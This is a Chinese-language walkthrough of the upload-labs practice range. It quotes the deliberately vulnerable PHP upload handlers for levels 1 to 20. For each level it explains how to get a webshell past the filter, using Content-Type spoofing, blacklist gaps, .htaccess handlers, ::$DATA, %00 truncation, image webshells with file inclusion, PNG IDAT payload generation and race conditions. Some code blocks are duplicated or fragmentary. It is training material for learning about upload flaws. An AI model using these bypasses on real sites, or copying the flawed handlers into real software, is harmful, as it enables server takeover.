靶场搭建
- 靶场文件:https://github.com/c0ny1/upload-labs/releases


- 点击管理,打开网站就好

靶场介绍

1-前端验证绕过

- 创建后正常
 - 不让直接上传,抓包看下
 - 思路:把脚本改成png文件,提交验证过后抓包修改脚本后缀、
 - 上传上去了
 - 脚本执行成功
 - 查看网页源码,果然过滤在前端,仅过滤了上传文件的格式

2-Content-Type方式绕过
- 抓包测试,提交php文件后有数据包提交,验证在后端
 - 尝试修改Content-Type
 - 上传成功
 - 测试成功
 - 查看后端源码发现,是对文件类型进行验证
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
3-黑名单绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
- 源码没有对 phtml,php3,php4,php5,pht,htaccess 这些后缀的文件过滤,上传成功
 - 查资料的方法,但我怎么搞都不行…
- 这个文件要利用需要配合Apache,Apache的配置文件中要有这句话,路径:Apache2.4.39\conf\httpd.conf
AddType application/x-httpd-php .php .phtml .phps .php5 .pht 添加这个AllowOverride All 修改这个- 在upload文件夹下添加
.htaccess ,文件内容是
<FilesMatch "1">
SetHandler application/ x-httpd-php
</FilesMatch>
4-.htaccess绕过

- 采用.htaccess文件来帮助绕过
- .htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
- htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
- 这关采用的是
htaccess 的方式,方式如上
5-大小写绕过
$file_name = deldot($file_name);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
- 上传成功
 
6- 空格绕过
$file_name = deldot($file_name);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);
$file_name = deldot($file_name);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
 
7-去掉末尾的点
$file_name = deldot($file_name);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);
 
8-去除字符串
$file_name = deldot($file_name);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);
$file_name = deldot($file_name);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = trim($file_ext);
没有对后缀名中的’::$DATA’进行过滤。
在php+windows的情况下:如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名
且保持"::$DATA"之前的文件名。利用windows特性,可在后缀名中加” ::$DATA”绕过

- 上传成功后复制图片链接打开

9-点 空格 点

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
代码先是去除文件名前后的空格,再去除文件名最后所有的.,再通过strrchar函数来寻找.来确认文件名的后缀,但是最后保存文件的时候没有重命名而使用的原始的文件名,导致可以利用1.php. .(点+空格+点)来绕过  
10-双写
- 看源码发现,有一个替换操作,尝试双写,shell.phphpp
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
 
11-00截断
- 上传一张正确图片,发现是get提交
 - 查看源码,发现保存路径处好像有问题
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; ,结合正常图片的回显,判断可以采用截断尝试
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

- 复制图片链接,删掉多余的名字,访问成功

12- 路径可控&post&%00截断
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
- 由于路径可控依旧采取%00截断,但是是post提交,我们需要改下编码如下图,get不用修改是因为可以自动识别%00编码

  
13-文件包含
- 页面提示是配合文件包含
 - 点开文件包含,跳转页面,这个页面存在文件包含,参数是file

- 传一张图片马,然后利用文件包含执行
 - 尝试其他两种图片,如果仅修改图片名,是不会影响文件头的
 - 上传其他两种图片
  
14-文件包含
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
- 这是用getimagesize函数判断文件类型,还是可以图片马绕过,方法同上


15-exif_imagetype()-图片马
function isImage($filename){
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
- 用到php_exif模块来判断文件类型,用图片马绕过,方法同pass-13
16-二次渲染
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
$fileext= substr(strrchr($filename,"."),1);
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
srand(time());
$newfilename = strval(rand()).".jpg";
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
srand(time());
$newfilename = strval(rand()).".png";
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
srand(time());
$newfilename = strval(rand()).".gif";
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
膜拜大神
gif测试
- 测试代码放图片后面
 - 利用发现是一堆乱码
 - 下载文件对比,上传的文件末尾没有测试脚本
  - 关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置(头部位置),然后将php代码写进去,就可以成功上传带有php代码的图片了。
- 关于插入脚本,我用的是WinHex[链接:https://pan.baidu.com/s/1CV0xxktSusmkt8plw-QqZg 提取码:8888 ],手动插入可能会损坏文件
- 首先复制要添加的payload,然后找到要添加的位置,右键点Edit,然后点Clipboard Data,最后点Paste
 - 插入后图片变颜色
 - 上传图片码,代码执行成功
 
png测试
png文件组成
png图片由3个以上的数据块组成,PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们。
数据块结构

分析数据块
- IHDR
数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块
文件头数据块由13字节组成,它的格式如下图所示。 
-
PLTE 调色板PLTE数据块是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。 -
IDAT 图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。 IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像 -
IEND 图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。 如果我们仔细观察PNG文件,我们会发现,文件的结尾12个字符看起来总应该是这样的: 00 00 00 00 49 45 4E 44 AE 42 60 82
写入IDAT数据块(利用失败,可跳过)
//生成的图片可以传上去,但是执行会报错
//国外大牛脚本
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
- 运行后得到1.png.上传后下载到本地打开如下图
 - 上传后可以看到代码没有被修改,思路可行,但这个图片码不行…执行不出来
 - 漏洞执行会报错

17-条件竞争
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
- 这里是先将文件上传到服务器,然后判断文件后缀是否在白名单里,如果在,则重命名,否则删除,因此我们可以上传shell.php只需要在它删除之前访问即可,可以利用burp的intruder模块不断上传,然后我们不断的访问刷新该地址即可。
- 构造函数,把本地的shell.php文件上传包抓一下,在文件内添加个用来区别包的数字,就可以开始狂刷新浏览器了。



18-条件竞争
/index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload(
$_FILES['upload_file']['name'],
$_FILES['upload_file']['tmp_name'],
$_FILES['upload_file']['size'],
$imgFileName
);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
function checkExtension(){
if( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){
return "EXTENSION_FAILURE";
} else {
return 1;
}
}
function move(){
if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
return "MOVE_UPLOADED_FILE_FAILURE";
} else {
return 1;
}
}
function renameFile(){
if( $this->cls_file_rename_to == '' ){
$allchar = "abcdefghijklnmopqrstuvwxyz" ;
$this->cls_file_rename_to = "" ;
mt_srand (( double) microtime() * 1000000 );
for ( $i = 0; $i<8 ; $i++ ){
$this->cls_file_rename_to .= substr( $allchar, mt_rand (0,25), 1 ) ;
}
}
 
19-/.绕过 与 00截断绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
%00
查看源代码:发现move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此可以在save_name利用00截断绕过。 注意:POST接收的时候 %00 需要URL编码。 
/.
- move_uploaded_file会忽略掉文件末尾的 /. 。但是Pass19中的文件名是从
$_FILES['upload_file']['tmp_name'] 中获取的,这里是用户可控的。  
20-数组 和 /. 绕过
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
函数解释
empty函数:检查一下变量是否为空;返回值:如果变量是非零非空的值返回False,否则返回True; end函数:将内部指针指向数组最后一个元素并输出; reset函数:将内部指针指向数组第一个元素并输出;
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$file_name 经过 reset($file) . '.' . $file[count($file) - 1];
二次过滤后缀
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
而最终的文件名后缀取的是$file[count($file) - 1],因此我们可以让$file为数组。
$file[0]为smi1e.php/ ,也就是reset($file),然后再令$file[2]为白名单中的jpg。
此时end($file)等于jpg,$file[count($file) - 1]为空,
而$file_name = reset($file) . '.' . $file[count($file) - 1];
也就是smi1e.php/.,最终move_uploaded_file会忽略掉/.,最终上传smi1e.php。
 
- 这里填数组里填2是为了空出来1的位置,为文件是php做铺垫


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